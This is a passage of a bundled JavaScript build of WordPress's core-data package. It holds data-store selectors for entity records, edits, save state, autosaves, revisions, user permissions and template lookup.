5698 itemIds = state.queries[context][stableKey].itemIds;
5699 }
5700 if (!itemIds) {
5701 return null;
5702 }
5703 const startOffset = perPage === -1 ? 0 : (page - 1) * perPage;
5704 const endOffset = perPage === -1 ? itemIds.length : Math.min(startOffset + perPage, itemIds.length);
5705 const items = [];
5706 for (let i = startOffset; i < endOffset; i++) {
5707 const itemId = itemIds[i];
5708 if (Array.isArray(include) && !include.includes(itemId)) {
5709 continue;
5710 }
5711 if (itemId === void 0) {
5712 continue;
5713 }
5714 if (!state.items[context]?.hasOwnProperty(itemId)) {
5715 return null;
5716 }
5717 const item = state.items[context][itemId];
5718 let filteredItem;
5719 if (Array.isArray(fields)) {
5720 filteredItem = {};
5721 for (let f = 0; f < fields.length; f++) {
5722 const field = fields[f].split(".");
5723 let value = item;
5724 field.forEach((fieldName) => {
5725 value = value?.[fieldName];
5726 });
5727 (0,set_nested_value/* default */.A)(filteredItem, field, value);
5728 }
5729 } else {
5730 if (!state.itemIsComplete[context]?.[itemId]) {
5731 return null;
5732 }
5733 filteredItem = item;
5734 }
5735 items.push(filteredItem);
5736 }
5737 return items;
5738}
5739const getQueriedItems = (0,external_wp_data_.createSelector)((state, query = {}) => {
5740 let queriedItemsCache = queriedItemsCacheByState.get(state);
5741 if (queriedItemsCache) {
5742 const queriedItems = queriedItemsCache.get(query);
5743 if (queriedItems !== void 0) {
5744 return queriedItems;
5745 }
5746 } else {
5747 queriedItemsCache = new (equivalent_key_map_default())();
5748 queriedItemsCacheByState.set(state, queriedItemsCache);
5749 }
5750 const items = getQueriedItemsUncached(state, query);
5751 queriedItemsCache.set(query, items);
5752 return items;
5753});
5754function getQueriedTotalItems(state, query = {}) {
5755 const { stableKey, context } = (0,get_query_parts/* default */.A)(query);
5756 return state.queries?.[context]?.[stableKey]?.meta?.totalItems ?? null;
5757}
5758function getQueriedTotalPages(state, query = {}) {
5759 const { stableKey, context } = (0,get_query_parts/* default */.A)(query);
5760 return state.queries?.[context]?.[stableKey]?.meta?.totalPages ?? null;
5761}
5762
5763
5764// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/entities.js + 2 modules
5765var entities = __webpack_require__(5914);
5766// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/utils/get-normalized-comma-separable.js
5767var get_normalized_comma_separable = __webpack_require__(533);
5768;// ./node_modules/@wordpress/core-data/build-module/utils/is-numeric-id.js
5769function isNumericID(id) {
5770 return /^\s*\d+\s*$/.test(id);
5771}
5772
5773
5774;// ./node_modules/@wordpress/core-data/build-module/utils/is-raw-attribute.js
5775function isRawAttribute(entity, attribute) {
5776 return (entity.rawAttributes || []).includes(attribute);
5777}
5778
5779
5780// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/utils/user-permissions.js
5781var user_permissions = __webpack_require__(2577);
5782// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/utils/log-entity-deprecation.js
5783var log_entity_deprecation = __webpack_require__(9410);
5784;// ./node_modules/@wordpress/core-data/build-module/selectors.js
5785
5786
5787
5788
5789
5790
5791
5792
5793const EMPTY_OBJECT = {};
5794const isRequestingEmbedPreview = (0,external_wp_data_.createRegistrySelector)(
5795 (select) => (state, url) => {
5796 return select(build_module_name/* STORE_NAME */.E).isResolving("getEmbedPreview", [
5797 url
5798 ]);
5799 }
5800);
5801function getAuthors(state, query) {
5802 external_wp_deprecated_default()("select( 'core' ).getAuthors()", {
5803 since: "5.9",
5804 alternative: "select( 'core' ).getUsers({ who: 'authors' })"
5805 });
5806 const path = (0,external_wp_url_.addQueryArgs)(
5807 "/wp/v2/users/?who=authors&per_page=100",
5808 query
5809 );
5810 return getUserQueryResults(state, path);
5811}
5812function getCurrentUser(state) {
5813 return state.currentUser;
5814}
5815const getUserQueryResults = (0,external_wp_data_.createSelector)(
5816 (state, queryID) => {
5817 const queryResults = state.users.queries[queryID] ?? [];
5818 return queryResults.map((id) => state.users.byId[id]);
5819 },
5820 (state, queryID) => [
5821 state.users.queries[queryID],
5822 state.users.byId
5823 ]
5824);
5825function getEntitiesByKind(state, kind) {
5826 external_wp_deprecated_default()("wp.data.select( 'core' ).getEntitiesByKind()", {
5827 since: "6.0",
5828 alternative: "wp.data.select( 'core' ).getEntitiesConfig()"
5829 });
5830 return getEntitiesConfig(state, kind);
5831}
5832const getEntitiesConfig = (0,external_wp_data_.createSelector)(
5833 (state, kind) => state.entities.config.filter((entity) => entity.kind === kind),
5834 /* eslint-disable @typescript-eslint/no-unused-vars */
5835 (state, kind) => state.entities.config
5836 /* eslint-enable @typescript-eslint/no-unused-vars */
5837);
5838function getEntity(state, kind, name) {
5839 external_wp_deprecated_default()("wp.data.select( 'core' ).getEntity()", {
5840 since: "6.0",
5841 alternative: "wp.data.select( 'core' ).getEntityConfig()"
5842 });
5843 return getEntityConfig(state, kind, name);
5844}
5845function getEntityConfig(state, kind, name) {
5846 (0,log_entity_deprecation/* default */.A)(kind, name, "getEntityConfig");
5847 return state.entities.config?.find(
5848 (config) => config.kind === kind && config.name === name
5849 );
5850}
5851const getEntityRecord = (0,external_wp_data_.createSelector)(
5852 ((state, kind, name, key, query) => {
5853 (0,log_entity_deprecation/* default */.A)(kind, name, "getEntityRecord");
5854 const queriedState = state.entities.records?.[kind]?.[name]?.queriedData;
5855 if (!queriedState) {
5856 return void 0;
5857 }
5858 const context = query?.context ?? "default";
5859 if (!query || !query._fields) {
5860 if (!queriedState.itemIsComplete[context]?.[key]) {
5861 return void 0;
5862 }
5863 return queriedState.items[context][key];
5864 }
5865 const item = queriedState.items[context]?.[key];
5866 if (!item) {
5867 return item;
5868 }
5869 const filteredItem = {};
5870 const fields = (0,get_normalized_comma_separable/* default */.A)(query._fields) ?? [];
5871 for (let f = 0; f < fields.length; f++) {
5872 const field = fields[f].split(".");
5873 let value = item;
5874 field.forEach((fieldName) => {
5875 value = value?.[fieldName];
5876 });
5877 (0,set_nested_value/* default */.A)(filteredItem, field, value);
5878 }
5879 return filteredItem;
5880 }),
5881 (state, kind, name, recordId, query) => {
5882 const context = query?.context ?? "default";
5883 const queriedState = state.entities.records?.[kind]?.[name]?.queriedData;
5884 return [
5885 queriedState?.items[context]?.[recordId],
5886 queriedState?.itemIsComplete[context]?.[recordId]
5887 ];
5888 }
5889);
5890getEntityRecord.__unstableNormalizeArgs = (args) => {
5891 const newArgs = [...args];
5892 const recordKey = newArgs?.[2];
5893 newArgs[2] = isNumericID(recordKey) ? Number(recordKey) : recordKey;
5894 return newArgs;
5895};
5896function hasEntityRecord(state, kind, name, key, query) {
5897 const queriedState = state.entities.records?.[kind]?.[name]?.queriedData;
5898 if (!queriedState) {
5899 return false;
5900 }
5901 const context = query?.context ?? "default";
5902 if (!query || !query._fields) {
5903 return !!queriedState.itemIsComplete[context]?.[key];
5904 }
5905 const item = queriedState.items[context]?.[key];
5906 if (!item) {
5907 return false;
5908 }
5909 const fields = (0,get_normalized_comma_separable/* default */.A)(query._fields) ?? [];
5910 for (let i = 0; i < fields.length; i++) {
5911 const path = fields[i].split(".");
5912 let value = item;
5913 for (let p = 0; p < path.length; p++) {
5914 const part = path[p];
5915 if (!value || !Object.hasOwn(value, part)) {
5916 return false;
5917 }
5918 value = value[part];
5919 }
5920 }
5921 return true;
5922}
5923function __experimentalGetEntityRecordNoResolver(state, kind, name, key) {
5924 return getEntityRecord(state, kind, name, key);
5925}
5926const getRawEntityRecord = (0,external_wp_data_.createSelector)(
5927 (state, kind, name, key) => {
5928 (0,log_entity_deprecation/* default */.A)(kind, name, "getRawEntityRecord");
5929 const record = getEntityRecord(
5930 state,
5931 kind,
5932 name,
5933 key
5934 );
5935 return record && Object.keys(record).reduce((accumulator, _key) => {
5936 if (isRawAttribute(getEntityConfig(state, kind, name), _key)) {
5937 accumulator[_key] = record[_key]?.raw !== void 0 ? record[_key]?.raw : record[_key];
5938 } else {
5939 accumulator[_key] = record[_key];
5940 }
5941 return accumulator;
5942 }, {});
5943 },
5944 (state, kind, name, recordId, query) => {
5945 const context = query?.context ?? "default";
5946 return [
5947 state.entities.config,
5948 state.entities.records?.[kind]?.[name]?.queriedData?.items[context]?.[recordId],
5949 state.entities.records?.[kind]?.[name]?.queriedData?.itemIsComplete[context]?.[recordId]
5950 ];
5951 }
5952);
5953function hasEntityRecords(state, kind, name, query) {
5954 (0,log_entity_deprecation/* default */.A)(kind, name, "hasEntityRecords");
5955 return Array.isArray(getEntityRecords(state, kind, name, query));
5956}
5957const getEntityRecords = ((state, kind, name, query) => {
5958 (0,log_entity_deprecation/* default */.A)(kind, name, "getEntityRecords");
5959 const queriedState = state.entities.records?.[kind]?.[name]?.queriedData;
5960 if (!queriedState) {
5961 return null;
5962 }
5963 return getQueriedItems(queriedState, query);
5964});
5965const getEntityRecordsTotalItems = (state, kind, name, query) => {
5966 (0,log_entity_deprecation/* default */.A)(kind, name, "getEntityRecordsTotalItems");
5967 const queriedState = state.entities.records?.[kind]?.[name]?.queriedData;
5968 if (!queriedState) {
5969 return null;
5970 }
5971 return getQueriedTotalItems(queriedState, query);
5972};
5973const getEntityRecordsTotalPages = (state, kind, name, query) => {
5974 (0,log_entity_deprecation/* default */.A)(kind, name, "getEntityRecordsTotalPages");
5975 const queriedState = state.entities.records?.[kind]?.[name]?.queriedData;
5976 if (!queriedState) {
5977 return null;
5978 }
5979 if (query?.per_page === -1) {
5980 return 1;
5981 }
5982 const totalItems = getQueriedTotalItems(queriedState, query);
5983 if (!totalItems) {
5984 return totalItems;
5985 }
5986 if (!query?.per_page) {
5987 return getQueriedTotalPages(queriedState, query);
5988 }
5989 return Math.ceil(totalItems / query.per_page);
5990};
5991const __experimentalGetDirtyEntityRecords = (0,external_wp_data_.createSelector)(
5992 (state) => {
5993 const {
5994 entities: { records }
5995 } = state;
5996 const dirtyRecords = [];
5997 Object.keys(records).forEach((kind) => {
5998 Object.keys(records[kind]).forEach((name) => {
5999 const primaryKeys = Object.keys(records[kind][name].edits).filter(
6000 (primaryKey) => (
6001 // The entity record must exist (not be deleted),
6002 // and it must have edits.
6003 getEntityRecord(state, kind, name, primaryKey) && hasEditsForEntityRecord(state, kind, name, primaryKey)
6004 )
6005 );
6006 if (primaryKeys.length) {
6007 const entityConfig = getEntityConfig(state, kind, name);
6008 primaryKeys.forEach((primaryKey) => {
6009 const entityRecord = getEditedEntityRecord(
6010 state,
6011 kind,
6012 name,
6013 primaryKey
6014 );
6015 dirtyRecords.push({
6016 // We avoid using primaryKey because it's transformed into a string
6017 // when it's used as an object key.
6018 key: entityRecord ? entityRecord[entityConfig.key || entities/* DEFAULT_ENTITY_KEY */.C_] : void 0,
6019 title: entityConfig?.getTitle?.(entityRecord) || "",
6020 name,
6021 kind
6022 });
6023 });
6024 }
6025 });
6026 });
6027 return dirtyRecords;
6028 },
6029 (state) => [state.entities.records]
6030);
6031const __experimentalGetEntitiesBeingSaved = (0,external_wp_data_.createSelector)(
6032 (state) => {
6033 const {
6034 entities: { records }
6035 } = state;
6036 const recordsBeingSaved = [];
6037 Object.keys(records).forEach((kind) => {
6038 Object.keys(records[kind]).forEach((name) => {
6039 const primaryKeys = Object.keys(records[kind][name].saving).filter(
6040 (primaryKey) => isSavingEntityRecord(state, kind, name, primaryKey)
6041 );
6042 if (primaryKeys.length) {
6043 const entityConfig = getEntityConfig(state, kind, name);
6044 primaryKeys.forEach((primaryKey) => {
6045 const entityRecord = getEditedEntityRecord(
6046 state,
6047 kind,
6048 name,
6049 primaryKey
6050 );
6051 recordsBeingSaved.push({
6052 // We avoid using primaryKey because it's transformed into a string
6053 // when it's used as an object key.
6054 key: entityRecord ? entityRecord[entityConfig.key || entities/* DEFAULT_ENTITY_KEY */.C_] : void 0,
6055 title: entityConfig?.getTitle?.(entityRecord) || "",
6056 name,
6057 kind
6058 });
6059 });
6060 }
6061 });
6062 });
6063 return recordsBeingSaved;
6064 },
6065 (state) => [state.entities.records]
6066);
6067function getEntityRecordEdits(state, kind, name, recordId) {
6068 (0,log_entity_deprecation/* default */.A)(kind, name, "getEntityRecordEdits");
6069 return state.entities.records?.[kind]?.[name]?.edits?.[recordId];
6070}
6071const getEntityRecordNonTransientEdits = (0,external_wp_data_.createSelector)(
6072 (state, kind, name, recordId) => {
6073 (0,log_entity_deprecation/* default */.A)(kind, name, "getEntityRecordNonTransientEdits");
6074 const { transientEdits } = getEntityConfig(state, kind, name) || {};
6075 const edits = getEntityRecordEdits(state, kind, name, recordId) || {};
6076 if (!transientEdits) {
6077 return edits;
6078 }
6079 return Object.keys(edits).reduce((acc, key) => {
6080 if (!transientEdits[key]) {
6081 acc[key] = edits[key];
6082 }
6083 return acc;
6084 }, {});
6085 },
6086 (state, kind, name, recordId) => [
6087 state.entities.config,
6088 state.entities.records?.[kind]?.[name]?.edits?.[recordId]
6089 ]
6090);
6091function hasEditsForEntityRecord(state, kind, name, recordId) {
6092 (0,log_entity_deprecation/* default */.A)(kind, name, "hasEditsForEntityRecord");
6093 return isSavingEntityRecord(state, kind, name, recordId) || Object.keys(
6094 getEntityRecordNonTransientEdits(state, kind, name, recordId)
6095 ).length > 0;
6096}
6097const getEditedEntityRecord = (0,external_wp_data_.createSelector)(
6098 (state, kind, name, recordId) => {
6099 (0,log_entity_deprecation/* default */.A)(kind, name, "getEditedEntityRecord");
6100 const raw = getRawEntityRecord(state, kind, name, recordId);
6101 const edited = getEntityRecordEdits(state, kind, name, recordId);
6102 if (!raw && !edited) {
6103 return false;
6104 }
6105 return {
6106 ...raw,
6107 ...edited
6108 };
6109 },
6110 (state, kind, name, recordId, query) => {
6111 const context = query?.context ?? "default";
6112 return [
6113 state.entities.config,
6114 state.entities.records?.[kind]?.[name]?.queriedData.items[context]?.[recordId],
6115 state.entities.records?.[kind]?.[name]?.queriedData.itemIsComplete[context]?.[recordId],
6116 state.entities.records?.[kind]?.[name]?.edits?.[recordId]
6117 ];
6118 }
6119);
6120function isAutosavingEntityRecord(state, kind, name, recordId) {
6121 (0,log_entity_deprecation/* default */.A)(kind, name, "isAutosavingEntityRecord");
6122 const { pending, isAutosave } = state.entities.records?.[kind]?.[name]?.saving?.[recordId] ?? {};
6123 return Boolean(pending && isAutosave);
6124}
6125function isSavingEntityRecord(state, kind, name, recordId) {
6126 (0,log_entity_deprecation/* default */.A)(kind, name, "isSavingEntityRecord");
6127 return state.entities.records?.[kind]?.[name]?.saving?.[recordId]?.pending ?? false;
6128}
6129function isDeletingEntityRecord(state, kind, name, recordId) {
6130 (0,log_entity_deprecation/* default */.A)(kind, name, "isDeletingEntityRecord");
6131 return state.entities.records?.[kind]?.[name]?.deleting?.[recordId]?.pending ?? false;
6132}
6133function getLastEntitySaveError(state, kind, name, recordId) {
6134 (0,log_entity_deprecation/* default */.A)(kind, name, "getLastEntitySaveError");
6135 return state.entities.records?.[kind]?.[name]?.saving?.[recordId]?.error;
6136}
6137function getLastEntityDeleteError(state, kind, name, recordId) {
6138 (0,log_entity_deprecation/* default */.A)(kind, name, "getLastEntityDeleteError");
6139 return state.entities.records?.[kind]?.[name]?.deleting?.[recordId]?.error;
6140}
6141function getUndoEdit(state) {
6142 external_wp_deprecated_default()("select( 'core' ).getUndoEdit()", {
6143 since: "6.3"
6144 });
6145 return void 0;
6146}
6147function getRedoEdit(state) {
6148 external_wp_deprecated_default()("select( 'core' ).getRedoEdit()", {
6149 since: "6.3"
6150 });
6151 return void 0;
6152}
6153function hasUndo(state) {
6154 return state.undoManager.hasUndo();
6155}
6156function hasRedo(state) {
6157 return state.undoManager.hasRedo();
6158}
6159function getCurrentTheme(state) {
6160 if (!state.currentTheme) {
6161 return null;
6162 }
6163 return getEntityRecord(state, "root", "theme", state.currentTheme);
6164}
6165function __experimentalGetCurrentGlobalStylesId(state) {
6166 return state.currentGlobalStylesId;
6167}
6168function getThemeSupports(state) {
6169 return getCurrentTheme(state)?.theme_supports ?? EMPTY_OBJECT;
6170}
6171function getEmbedPreview(state, url) {
6172 return state.embedPreviews[url];
6173}
6174function isPreviewEmbedFallback(state, url) {
6175 const preview = state.embedPreviews[url];
6176 const oEmbedLinkCheck = '<a href="' + url + '">' + url + "</a>";
6177 if (!preview) {
6178 return false;
6179 }
6180 return preview.html === oEmbedLinkCheck;
6181}
6182function canUser(state, action, resource, id) {
6183 const isEntity = typeof resource === "object";
6184 if (isEntity && (!resource.kind || !resource.name)) {
6185 return false;
6186 }
6187 if (isEntity) {
6188 (0,log_entity_deprecation/* default */.A)(resource.kind, resource.name, "canUser");
6189 }
6190 const key = (0,user_permissions/* getUserPermissionCacheKey */.kC)(action, resource, id);
6191 return state.userPermissions[key];
6192}
6193function canUserEditEntityRecord(state, kind, name, recordId) {
6194 external_wp_deprecated_default()(`wp.data.select( 'core' ).canUserEditEntityRecord()`, {
6195 since: "6.7",
6196 alternative: `wp.data.select( 'core' ).canUser( 'update', { kind, name, id } )`
6197 });
6198 return canUser(state, "update", { kind, name, id: recordId });
6199}
6200function getAutosaves(state, postType, postId) {
6201 return state.autosaves[postId];
6202}
6203function getAutosave(state, postType, postId, authorId) {
6204 if (authorId === void 0) {
6205 return;
6206 }
6207 const autosaves = state.autosaves[postId];
6208 return autosaves?.find(
6209 (autosave) => autosave.author === authorId
6210 );
6211}
6212const hasFetchedAutosaves = (0,external_wp_data_.createRegistrySelector)(
6213 (select) => (state, postType, postId) => {
6214 return select(build_module_name/* STORE_NAME */.E).hasFinishedResolution("getAutosaves", [
6215 postType,
6216 postId
6217 ]);
6218 }
6219);
6220function getReferenceByDistinctEdits(state) {
6221 return state.editsReference;
6222}
6223function __experimentalGetCurrentThemeBaseGlobalStyles(state) {
6224 const currentTheme = getCurrentTheme(state);
6225 if (!currentTheme) {
6226 return null;
6227 }
6228 return state.themeBaseGlobalStyles[currentTheme.stylesheet];
6229}
6230function __experimentalGetCurrentThemeGlobalStylesVariations(state) {
6231 const currentTheme = getCurrentTheme(state);
6232 if (!currentTheme) {
6233 return null;
6234 }
6235 return state.themeGlobalStyleVariations[currentTheme.stylesheet];
6236}
6237function getBlockPatterns(state) {
6238 return state.blockPatterns;
6239}
6240function getBlockPatternCategories(state) {
6241 return state.blockPatternCategories;
6242}
6243function getUserPatternCategories(state) {
6244 return state.userPatternCategories;
6245}
6246function getCurrentThemeGlobalStylesRevisions(state) {
6247 external_wp_deprecated_default()("select( 'core' ).getCurrentThemeGlobalStylesRevisions()", {
6248 since: "6.5.0",
6249 alternative: "select( 'core' ).getRevisions( 'root', 'globalStyles', ${ recordKey } )"
6250 });
6251 const currentGlobalStylesId = __experimentalGetCurrentGlobalStylesId(state);
6252 if (!currentGlobalStylesId) {
6253 return null;
6254 }
6255 return state.themeGlobalStyleRevisions[currentGlobalStylesId];
6256}
6257function getDefaultTemplateId(state, query) {
6258 return state.defaultTemplates[JSON.stringify(query)];
6259}
6260const getRevisions = (state, kind, name, recordKey, query) => {
6261 (0,log_entity_deprecation/* default */.A)(kind, name, "getRevisions");
6262 const queriedStateRevisions = state.entities.records?.[kind]?.[name]?.revisions?.[recordKey];
6263 if (!queriedStateRevisions) {
6264 return null;
6265 }
6266 return getQueriedItems(queriedStateRevisions, query);
6267};
6268const getRevision = (0,external_wp_data_.createSelector)(
6269 (state, kind, name, recordKey, revisionKey, query) => {
6270 (0,log_entity_deprecation/* default */.A)(kind, name, "getRevision");
6271 const queriedState = state.entities.records?.[kind]?.[name]?.revisions?.[recordKey];
6272 if (!queriedState) {
6273 return void 0;
6274 }
6275 const context = query?.context ?? "default";
6276 if (!query || !query._fields) {
6277 if (!queriedState.itemIsComplete[context]?.[revisionKey]) {
6278 return void 0;
6279 }
6280 return queriedState.items[context][revisionKey];
6281 }
6282 const item = queriedState.items[context]?.[revisionKey];
6283 if (!item) {
6284 return item;
6285 }
6286 const filteredItem = {};
6287 const fields = (0,get_normalized_comma_separable/* default */.A)(query._fields) ?? [];
6288 for (let f = 0; f < fields.length; f++) {
6289 const field = fields[f].split(".");
6290 let value = item;
6291 field.forEach((fieldName) => {
6292 value = value?.[fieldName];
6293 });
6294 (0,set_nested_value/* default */.A)(filteredItem, field, value);
6295 }
6296 return filteredItem;
6297 },
6298 (state, kind, name, recordKey, revisionKey, query) => {
6299 const context = query?.context ?? "default";
6300 const queriedState = state.entities.records?.[kind]?.[name]?.revisions?.[recordKey];
6301 return [
6302 queriedState?.items?.[context]?.[revisionKey],
6303 queriedState?.itemIsComplete?.[context]?.[revisionKey]
6304 ];
6305 }
6306);
6307
6308
6309
6310/***/ }),
6311
6312/***/ 8537:
6313/***/ ((module) => {
6314
6315"use strict";
6316module.exports = window["wp"]["htmlEntities"];
6317
6318/***/ }),
6319
6320/***/ 8582:
6321/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
6322
6323"use strict";
6324/* harmony export */ __webpack_require__.d(__webpack_exports__, {
6325/* harmony export */ A: () => (/* binding */ dynamicSelectors),
6326/* harmony export */ B: () => (/* binding */ dynamicActions)
6327/* harmony export */ });
6328let dynamicActions;
6329let dynamicSelectors;
6330
6331
6332
6333/***/ }),
6334
6335/***/ 8741:
6336/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
6337
6338"use strict";
6339__webpack_require__.r(__webpack_exports__);
6340/* harmony export */ __webpack_require__.d(__webpack_exports__, {
6341/* harmony export */ getBlockPatternsForPostType: () => (/* binding */ getBlockPatternsForPostType),
6342/* harmony export */ getEntityRecordPermissions: () => (/* binding */ getEntityRecordPermissions),
6343/* harmony export */ getEntityRecordsPermissions: () => (/* binding */ getEntityRecordsPermissions),
6344/* harmony export */ getHomePage: () => (/* binding */ getHomePage),
6345/* harmony export */ getNavigationFallbackId: () => (/* binding */ getNavigationFallbackId),
6346/* harmony export */ getPostsPageId: () => (/* binding */ getPostsPageId),
6347/* harmony export */ getRegisteredPostMeta: () => (/* binding */ getRegisteredPostMeta),
6348/* harmony export */ getTemplateId: () => (/* binding */ getTemplateId),
6349/* harmony export */ getUndoManager: () => (/* binding */ getUndoManager)
6350/* harmony export */ });
6351/* harmony import */ var _wordpress_data__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(7143);
6352/* harmony import */ var _wordpress_data__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_wordpress_data__WEBPACK_IMPORTED_MODULE_0__);
6353/* harmony import */ var _selectors__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(8368);
6354/* harmony import */ var _name__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(2278);
6355/* harmony import */ var _lock_unlock__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(6378);
6356/* harmony import */ var _utils_log_entity_deprecation__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(9410);
6357
6358
6359
6360
6361
6362function getUndoManager(state) {
6363 return state.undoManager;
6364}
6365function getNavigationFallbackId(state) {
6366 return state.navigationFallbackId;
6367}
6368const getBlockPatternsForPostType = (0,_wordpress_data__WEBPACK_IMPORTED_MODULE_0__.createRegistrySelector)(
6369 (select) => (0,_wordpress_data__WEBPACK_IMPORTED_MODULE_0__.createSelector)(
6370 (state, postType) => select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E).getBlockPatterns().filter(
6371 ({ postTypes }) => !postTypes || Array.isArray(postTypes) && postTypes.includes(postType)
6372 ),
6373 () => [select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E).getBlockPatterns()]
6374 )
6375);
6376const getEntityRecordsPermissions = (0,_wordpress_data__WEBPACK_IMPORTED_MODULE_0__.createRegistrySelector)(
6377 (select) => (0,_wordpress_data__WEBPACK_IMPORTED_MODULE_0__.createSelector)(
6378 (state, kind, name, ids) => {
6379 const normalizedIds = Array.isArray(ids) ? ids : [ids];
6380 return normalizedIds.map((id) => ({
6381 delete: select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E).canUser("delete", {
6382 kind,
6383 name,
6384 id
6385 }),
6386 update: select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E).canUser("update", {
6387 kind,
6388 name,
6389 id
6390 })
6391 }));
6392 },
6393 (state) => [state.userPermissions]
6394 )
6395);
6396function getEntityRecordPermissions(state, kind, name, id) {
6397 (0,_utils_log_entity_deprecation__WEBPACK_IMPORTED_MODULE_2__/* ["default"] */ .A)(kind, name, "getEntityRecordPermissions");
6398 return getEntityRecordsPermissions(state, kind, name, id)[0];
6399}
6400function getRegisteredPostMeta(state, postType) {
6401 return state.registeredPostMeta?.[postType] ?? {};
6402}
6403function normalizePageId(value) {
6404 if (!value || !["number", "string"].includes(typeof value)) {
6405 return null;
6406 }
6407 if (Number(value) === 0) {
6408 return null;
6409 }
6410 return value.toString();
6411}
6412const getHomePage = (0,_wordpress_data__WEBPACK_IMPORTED_MODULE_0__.createRegistrySelector)(
6413 (select) => (0,_wordpress_data__WEBPACK_IMPORTED_MODULE_0__.createSelector)(
6414 () => {
6415 const siteData = select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E).getEntityRecord(
6416 "root",
6417 "__unstableBase"
6418 );
6419 if (!siteData) {
6420 return null;
6421 }
6422 const homepageId = siteData?.show_on_front === "page" ? normalizePageId(siteData.page_on_front) : null;
6423 if (homepageId) {
6424 return { postType: "page", postId: homepageId };
6425 }
6426 const frontPageTemplateId = select(
6427 _name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E
6428 ).getDefaultTemplateId({
6429 slug: "front-page"
6430 });
6431 if (!frontPageTemplateId) {
6432 return null;
6433 }
6434 return { postType: "wp_template", postId: frontPageTemplateId };
6435 },
6436 (state) => [
6437 (0,_selectors__WEBPACK_IMPORTED_MODULE_3__.getEntityRecord)(state, "root", "__unstableBase"),
6438 (0,_selectors__WEBPACK_IMPORTED_MODULE_3__.getDefaultTemplateId)(state, {
6439 slug: "front-page"
6440 })
6441 ]
6442 )
6443);
6444const getPostsPageId = (0,_wordpress_data__WEBPACK_IMPORTED_MODULE_0__.createRegistrySelector)((select) => () => {
6445 const siteData = select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E).getEntityRecord(
6446 "root",
6447 "__unstableBase"
6448 );
6449 return siteData?.show_on_front === "page" ? normalizePageId(siteData.page_for_posts) : null;
6450});
6451const getTemplateId = (0,_wordpress_data__WEBPACK_IMPORTED_MODULE_0__.createRegistrySelector)(
6452 (select) => (state, postType, postId) => {
6453 const homepage = (0,_lock_unlock__WEBPACK_IMPORTED_MODULE_4__/* .unlock */ .T)(select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E)).getHomePage();
6454 if (!homepage) {
6455 return;
6456 }
6457 if (postType === "page" && postType === homepage?.postType && postId.toString() === homepage?.postId) {
6458 const templates = select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E).getEntityRecords(
6459 "postType",
6460 "wp_template",
6461 {
6462 per_page: -1
6463 }
6464 );
6465 if (!templates) {
6466 return;
6467 }
6468 const id = templates.find(({ slug }) => slug === "front-page")?.id;
6469 if (id) {
6470 return id;
6471 }
6472 }
6473 const editedEntity = select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E).getEditedEntityRecord(
6474 "postType",
6475 postType,
6476 postId
6477 );
6478 if (!editedEntity) {
6479 return;
6480 }
6481 const postsPageId = (0,_lock_unlock__WEBPACK_IMPORTED_MODULE_4__/* .unlock */ .T)(select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E)).getPostsPageId();
6482 if (postType === "page" && postsPageId === postId.toString()) {
6483 return select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E).getDefaultTemplateId({
6484 slug: "home"
6485 });
6486 }
6487 const currentTemplateSlug = editedEntity.template;
6488 if (currentTemplateSlug) {
6489 const currentTemplate = select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E).getEntityRecords("postType", "wp_template", {
6490 per_page: -1
6491 })?.find(({ slug }) => slug === currentTemplateSlug);
6492 if (currentTemplate) {
6493 return currentTemplate.id;
6494 }
6495 }
6496 let slugToCheck;
6497 if (editedEntity.slug) {
6498 slugToCheck = postType === "page" ? `${postType}-${editedEntity.slug}` : `single-${postType}-${editedEntity.slug}`;
6499 } else {
6500 slugToCheck = postType === "page" ? "page" : `single-${postType}`;
6501 }
6502 return select(_name__WEBPACK_IMPORTED_MODULE_1__/* .STORE_NAME */ .E).getDefaultTemplateId({
6503 slug: slugToCheck
6504 });
6505 }
6506);
6507
6508
6509
6510/***/ }),
6511
6512/***/ 8843:
6513/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
6514
6515"use strict";
6516/* harmony export */ __webpack_require__.d(__webpack_exports__, {
6517/* harmony export */ D: () => (/* binding */ EntityContext)
6518/* harmony export */ });
6519/* harmony import */ var _wordpress_element__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(6087);
6520/* harmony import */ var _wordpress_element__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_wordpress_element__WEBPACK_IMPORTED_MODULE_0__);
6521
6522const EntityContext = (0,_wordpress_element__WEBPACK_IMPORTED_MODULE_0__.createContext)({});
6523EntityContext.displayName = "EntityContext";
6524
6525
6526
6527/***/ }),
6528
6529/***/ 9410:
6530/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
6531
6532"use strict";
6533/* harmony export */ __webpack_require__.d(__webpack_exports__, {
6534/* harmony export */ A: () => (/* binding */ logEntityDeprecation)
6535/* harmony export */ });
6536/* harmony import */ var _wordpress_deprecated__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(4040);
